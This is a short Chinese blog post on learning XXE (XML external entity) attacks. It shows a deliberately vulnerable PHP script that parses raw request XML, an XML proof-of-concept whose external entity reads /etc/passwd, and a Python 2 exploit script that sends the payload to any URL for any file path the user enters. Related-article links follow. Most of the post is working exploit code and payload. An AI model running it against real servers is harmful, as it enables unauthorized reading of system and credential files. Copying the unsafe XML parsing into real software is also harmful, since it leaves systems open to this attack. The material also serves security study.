• XXE攻击学习


    环境:lAMP

    simplexml_load_string.php代码内容

    <?php

    $data = file_get_contents('php://input');

    $xml = simplexml_load_string($data);

    echo $xml->name;

    ?>

    POC:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xxe [

    <!ELEMENT name ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

    <root>

    <name>&xxe;</name>

    </root>

    EXP:

    import urllib2

    if __name__ == '__main__':

    print u'输入要读取的文件,如file:///etc/passwd'

    payload = raw_input()

    print u'输入要访问的地址,如http://IP/simplexml_load_string.php'

    url = raw_input()

    #url = 'http://IP/simplexml_load_string.php'

    headers = {'Content-type': 'text/xml'}

    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'

    req = urllib2.Request(url = url,headers = headers, data = xml)

    res_data = urllib2.urlopen(req)

    res = res_data.read()

    print res

     

    记得旧文章 便是新举子
  • 相关阅读:
    Zookeeper的ZAB协议
    Netty从入门到放弃,从放弃在到入门
    Java多线程-锁的原理
    ContextLoaderListener的说明
    Jdk和Cglib 的区别
    zookeeper核心概念
    https
    [CS Academy] Infinity Array
    [JZOJ 5669] Permutaition
    [CF 613 Div.1E] Puzzle Lover
  • 原文地址:https://www.cnblogs.com/NBeveryday/p/8124539.html
Copyright © 2020-2023  润新知